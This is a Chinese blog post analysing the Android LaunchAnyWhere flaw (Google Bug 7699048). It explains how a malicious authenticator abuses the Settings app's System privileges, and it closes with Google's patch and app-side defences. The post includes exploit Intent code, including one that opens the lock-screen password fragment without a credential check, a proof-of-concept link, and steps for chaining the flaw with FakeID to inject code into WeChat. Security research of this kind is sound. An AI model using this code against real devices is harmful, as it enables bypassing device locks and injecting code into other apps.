Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施

開始

近日,Google修复一个组件安全的漏洞LaunchAnyWhere(Google Bug 7699048)。

这个漏洞属于Intend Based提取漏洞,攻击者利用这个漏洞,能够突破了应用间的权限隔离。达到调用随意私有Activity(exported为false)的目的。

该漏洞影响Android 2.3至4.3固件。

漏洞分析

在分析这个漏洞之前。须要先介绍两个东西。

Account管理机制

从Android2.0開始。系统引入了Account管理机制。具体使用说明见Android官方文档。Account管理机制提供了集中化管理帐户API以及安全存储用户口令和令牌的功能。系统中。能够同一时候存在多个帐户(设置——加入帐户能够查看)。比方Google、Miscrosoft Exchange、微信、支付宝、陌陌等等

Account机制涉及AuthenticationService和Client两个组成元素,它们之间的的通讯统一由AccountManagerService调度,AccountManagerService是Android上的一个系统服务。当Client首次使用时。会向AuthenticationService发起addAccount请求,示意图例如以下:

最后AuthenticationService会把指定的Intent返回给Client。Client则通过startActivityForResult对终于结果进行处理。这部分源代码比較有趣,我们先看看AccountManager.addAccount的代码:

public AccountManagerFuture<Bundle> addAccount(final String accountType,
            final String authTokenType, final String[] requiredFeatures,
            final Bundle addAccountOptions,
            final Activity activity, AccountManagerCallback<Bundle> callback, Handler handler) {
        if (accountType == null) throw new IllegalArgumentException("accountType is null");
        final Bundle optionsIn = new Bundle();
        if (addAccountOptions != null) {
            optionsIn.putAll(addAccountOptions);
        }
        optionsIn.putString(KEY_ANDROID_PACKAGE_NAME, mContext.getPackageName());
        return new AmsTask(activity, handler, callback) {
            public void doWork() throws RemoteException {
                mService.addAccount(mResponse, accountType, authTokenType,
                        requiredFeatures, activity != null, optionsIn);
            }
        }.start();
    }

最后代码是通过一个AmsTask调用addAccount的,而AmsTask本身是一个异步任务。mRespone是一个Binder对象。当AuthenticationService指定Intent后,就是把intent保存到这个respone对象里,最后看看这个Respone的源代码:

/** Handles the responses from the AccountManager */
private class Response extends IAccountManagerResponse.Stub {
    public void onResult(Bundle bundle) {
        Intent intent = bundle.getParcelable(KEY_INTENT);
        if (intent != null && mActivity != null) {
            // since the user provided an Activity we will silently start intents
            // that we see
            mActivity.startActivity(intent);
            // leave the Future running to wait for the real response to this request
        } else if (bundle.getBoolean("retry")) {
            try {
                doWork();
            } catch (RemoteException e) {
                // this will only happen if the system process is dead, which means
                // we will be dying ourselves
            }
        } else {
            set(bundle);
        }
    }
    public void onError(int code, String message) {
        if (code == ERROR_CODE_CANCELED || code == ERROR_CODE_USER_RESTRICTED) {
            // the authenticator indicated that this request was canceled, do so now
            cancel(true /* mayInterruptIfRunning */);
            return;
        }
        setException(convertErrorToException(code, message));
    }
}

从代码可见。Respone直接帮我们startActivity了。

关于System用户

在Android中,能够说System用户拥有相当高的权限,通过阅读源代码能够发,全部permissoin的地方都是直接放行System用户的。见代码ActivityManagerService.checkComponentPermission

    /**
     * This can be called with or without the global lock held.
     */
    int checkComponentPermission(String permission, int pid, int uid,
            int owningUid, boolean exported) {
        // We might be performing an operation on behalf of an indirect binder
        // invocation, e.g. via {@link #openContentUri}.  Check and adjust the
        // client identity accordingly before proceeding.
        Identity tlsIdentity = sCallerIdentity.get();
        if (tlsIdentity != null) {
            Slog.d(TAG, "checkComponentPermission() adjusting {pid,uid} to {"
                    + tlsIdentity.pid + "," + tlsIdentity.uid + "}");
            uid = tlsIdentity.uid;
            pid = tlsIdentity.pid;
        }

        if (pid == MY_PID) {
            return PackageManager.PERMISSION_GRANTED;
        }

        return ActivityManager.checkComponentPermission(permission, uid,
                owningUid, exported);
    }

可见system用户能够全然无视权限检查,无论组件是否为exported,最后都直接返回PERMISSION_GRANTED

漏洞分析

通过上面对Account机制和System用户的分析。接下来进入主题吧。

在常规情况下,当某个Client发起addAccount请求时。AuthenticationService通常会返回一个指向同包下的Activity(系统提供了基类AccountAuthenticatorActivity)。这个Activity主要负责完毕帐户和password的输入交互。

然而。理论上这个AuthenticationService是能够随意指定Intent的。比方指定其它包下的Activity。

因为终于startActivity的调用发生在Client进程,因此AuthenticationService是能够调起全部Client能够打开的Activity,当然包括Client自身的exported为false的Activity了。

但Client往往仅仅是一般用户,这样的用途价值并不高。幸好系统的Setting帐户相关的功能。提供了一些能够利用的逻辑。漏洞利用原理:想办法令Setting调用addAccount方法,EvilAuthenService就能够指定随意的Intent,因为startActivity的调用发生在Setting,因此就具备了System用户的全部权限了。

通过以下代码, 我们能够直接让Setting发起一个AddAccount请求:

Intent intent = new Intent();
intent.setComponent(new ComponentName("com.android.settings", "com.android.settings.accounts.AddAccountSettings"));
intent.setAction(Intent.ACTION_RUN);
intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
String authTypes[] = {Constants.ACCOUNT_TYPE};
intent.putExtra("account_types", authTypes);//authType须要指定
AuthenticatorActivity.this.startActivity(intent);

利用示意图例如以下:

漏洞利用

LaunchAnyWhere漏洞,假设结合其它的漏洞,效果会很惊艳。

结合Fragment注入漏洞,直接改动屏幕password

Fragment注入漏洞具体解释见我之前的博客《Android框架攻击之Fragment注入》。这个漏洞眼下大部分厂商已经修复了。但假设再配合LaunchAnyWhere漏洞,那么Fragment注入漏洞修复就形同虚设了。这里把Fragment注入漏洞利用的关键代码贴出来:

Intent intent = new Intent();
intent.setFlags(Intent.FLAG_ACTIVITY_CLEAR_TASK);
intent.setClassName("com.android.settings", "com.android.settings.Settings");
intent.putExtra(":android:show_fragment","com.android.settings.ChooseLockPassword$ChooseLockPasswordFragment");
intent.putExtra("confirm_credentials", false);  

startActivity(intent); 

漏洞利用POC, 见https://github.com/retme7/launchAnyWhere_poc_by_retme_bug_7699048

结合FakeID漏洞,实现InjectAnyWhere

FakeID漏洞具体解释见我之前的博客《Android FakeID(Google Bug 13678484) 漏洞具体解释》

FakeID漏洞利用的关键让目标进程执行Webview控件,载入Flash控件达到程序注入的目的。

通过LaunchAnyWhere漏洞,我们能够直接打开目标进程的Webview。

FakeID和LaunchAnyWhere完美结合的做法是在一个APK中同一时候集成两个漏洞利用,大致步骤例如以下:

  1. EvilApp首先令Setting产生一AddAccount请求。并把accountType指定EvilApp本身处理;
  2. EvilApp创建Intent,并把Intent指向攻击应用Webview的Activity(如微信的com.tencent.mm.plugin.webview.ui.tools.ContactQZoneWebView),url指向某个有flash元素的网页;
  3. 因为FakeID。WebView则会载入EvilApp中so,注入完毕;
  4. 在so中再直接载入EvilApp.apk文件,实现Java注入。这部分更具体的内容,见我之前的博客《攻击的Android注入术》

漏洞修复

这个漏洞在4.4上已经修复,看看修复的代码。能够找到防御的思路:

public void onResult(Bundle result) {
             mNumResults++;
-            if (result != null && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
+            Intent intent = null;
+            if (result != null
+                    && (intent = result.getParcelable(AccountManager.KEY_INTENT)) != null) {
+                /*
+                 * The Authenticator API allows third party authenticators to
+                 * supply arbitrary intents to other apps that they can run,
+                 * this can be very bad when those apps are in the system like
+                 * the System Settings.
+                 */
+                PackageManager pm = mContext.getPackageManager();
+                ResolveInfo resolveInfo = pm.resolveActivity(intent, 0);
+                int targetUid = resolveInfo.activityInfo.applicationInfo.uid;
+                int authenticatorUid = Binder.getCallingUid();
+                if (PackageManager.SIGNATURE_MATCH !=
+                        pm.checkSignatures(authenticatorUid, targetUid)) {
+                    throw new SecurityException(
+                            "Activity to be started with KEY_INTENT must " +
+                            "share Authenticator‘s signatures");
+                }
+            }
+            if (result != null
+                    && !TextUtils.isEmpty(result.getString(AccountManager.KEY_AUTHTOKEN))) {
                 String accountName = result.getString(AccountManager.KEY_ACCOUNT_NAME);
                 String accountType = result.getString(AccountManager.KEY_ACCOUNT_TYPE);
                 if (!TextUtils.isEmpty(accountName) && !TextUtils.isEmpty(accountType)) {
@@ -2223,6 +2276,7 @@
             super(looper);
         }

因为 Resopne是一个Binder对象,因此当onResult被回调时,能够通过Binder.getCallingUid()获取authenticatorUid,假设targetUid跟authenticatorUid不同样,则直接对AuthenticationService抛异常。

防御措施

应用自身的防御措施是保证expotred为false的Activity不被意外调起。我们通过加入一些检查点,比方B是一个expotred为fase的Activity,按正常逻辑。Activity的堆栈顺序是:

  • A1->B->C1
  • A2->B->C2

那么我们就能够在A1和A2中设置一检查点。当进入B时,发现检查点没有设置,则觉得B被非法调起。沿着这个思路,假设我们把Activity的调用堆栈都记录下来,那么当进入B前。当前栈必定仅仅能是A1或者A2,否则则觉得B被非法调起。

Activity堆栈管理的一个实现,能够參考这里http://www.apkbus.com/blog-117210-44386.html

时间: 2024-10-06 07:10:33

Android LaunchAnyWhere (Google Bug 7699048)漏洞具体解释及防御措施的相关文章

Android LaunchAnyWhere (Google Bug 7699048)漏洞详解及防御措施

开始 近日,Google修复一个组件安全的漏洞LaunchAnyWhere(Google Bug 7699048).这个漏洞属于Intend Based提取漏洞,攻击者利用这个漏洞,可以突破了应用间的权限隔离,达到调用任意私有Activity(exported为false)的目的. 该漏洞影响Android 2.3至4.3固件. 漏洞分析 在分析这个漏洞之前,需要先介绍两个东西. Account管理机制 从Android2.0开始,系统引入了Account管理机制,详细使用说明见Android官

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析

Android BroadcastAnyWhere(Google Bug 17356824)漏洞具体分析 作者:简行(又名 低端码农) 继上次Android的LaunchAnyWhere组件安全漏洞后,近期Google在Android 5.0的源代码上又修复了一个高危漏洞.该漏洞简直是LaunchAnyWhere的姊妹版--BroadcastAnyWhere. 通过这个漏洞,攻击者能够以system用户的身份发送广播.这意味着攻击者能够无视一切的BroadcastReceiver组件訪问限制.并

Android BroadcastAnyWhere(Google Bug 17356824)漏洞详细分析

h1, h2, h3, h4, h5, h6, p, blockquote { margin: 0; padding: 0; } body { font-family: "Helvetica Neue", Helvetica, "Hiragino Sans GB", Arial, sans-serif; font-size: 13px; line-height: 18px; color: #737373; background-color: white; margi

Android FakeID(Google Bug 13678484) 漏洞详解

开始 继上一次Masterkey漏洞之后,Bluebox在2014年7月30日又公布了一个关于APK签名的漏洞--FakeID,并打算在今年的Blackhack上公布更详细的细节,不过作者Jeff Forristal在文中已经给出了不少提示,另外申迪的<FakeID签名漏洞分析及利用>也做了相关介绍.由于其中涉及的知识点较多,所以有部分朋友估计还没有看明白,所以我打算写一篇更加详细漏洞分析解说. 基础概念 在分析之前,有几个基础概念需要普及一下的: APK包中的MF.SF和RSA文件 完成签名

【凯子哥带你夯实应用层】Android的Google官方设计指南(上)

Android 设计规范 时间 2015.3.2 版本 V1.0 翻译 杨鹏 整理 赵凯强 本文章是我公司一个大牛之前的公司同事翻译的Android的Google官方设计指导,经过我整理而成,分享给大家,欢迎转载,但是请保留出处和翻译作者.本指导内容详实.规范,无论是初级开发者还是高级开发者,甚至是公司产品设计和美工,都应该研读学习,特此推荐!由于文章内容较颇多,所以我分为几篇发布,方便大家阅读学习.如果对你有帮助,请评论或者顶一下代表支持,谢谢! 还是人多力量大啊,有同学告诉我已经有这样的资料

CVE 2013-6272 Android phone提权打电话漏洞分析

简介 这一类漏洞由德国的安全研究机构Curesec所发现,去年年底的时候秘密告诉Google,直到今年7月份的时候才决定公布一个类似的漏洞.这个漏洞涉及到com.android.phone.PhoneGlobals$NotificationBroadcastReceiv的组件暴露问题,导致恶意的应用程序无需声明任何权限就可打电话. 2. 漏洞细节 在Android源码(以JELLY_BEAN 4.3为例) /packages/apps/Phone/src/com/android/phone/Ph

一条短信控制你的手机! Android平台的SQL注入漏洞浅析

14年11月笔者在百度xteam博客中看到其公开了此前报告给Google的CVE-2014-8507漏洞细节——系统代码在处理经由短信承载的WAP推送内容时产生的经典SQL注入漏洞,影响Android 5.0以下的系统.于是对这个漏洞产生了兴趣,想深入分析看看该漏洞的危害,以及是否能够通过一条短信来制作攻击PoC. 在断断续续的研究过程中,笔者发现了SQLite的一些安全特性演变和短信漏洞利用细节,本着技术探讨和共同进步的原则,结合以前掌握的SQLite安全知识一同整理分享出来,同各位安全专家一

Android WebView远程代码执行漏洞简析

0x00 本文参考Android WebView 远程代码执行漏洞简析.代码地址为,https://github.com/jltxgcy/AppVulnerability/tree/master/WebViewFileDemo.下面我们分析代码. 0x01 首先列出项目工程目录: MainActivity.java的代码如下: public class MainActivity extends Activity { private WebView webView; private Uri mUr

【转】Android 基于google Zxing实现二维码、条形码扫描,仿微信二维码扫描效果--不错

原文网址:http://blog.csdn.net/xiaanming/article/details/10163203 转载请注明出处:http://blog.csdn.net/xiaanming/article/details/10163203 了解二维码这个东西还是从微信中,当时微信推出二维码扫描功能,自己感觉挺新颖的,从一张图片中扫一下竟然能直接加好友,不可思议啊,那时候还不了解二维码,呵呵,然后做项目的时候,老板说要加上二维码扫描功能,然后自己的屁颠屁颠的去百度,google啥的,发现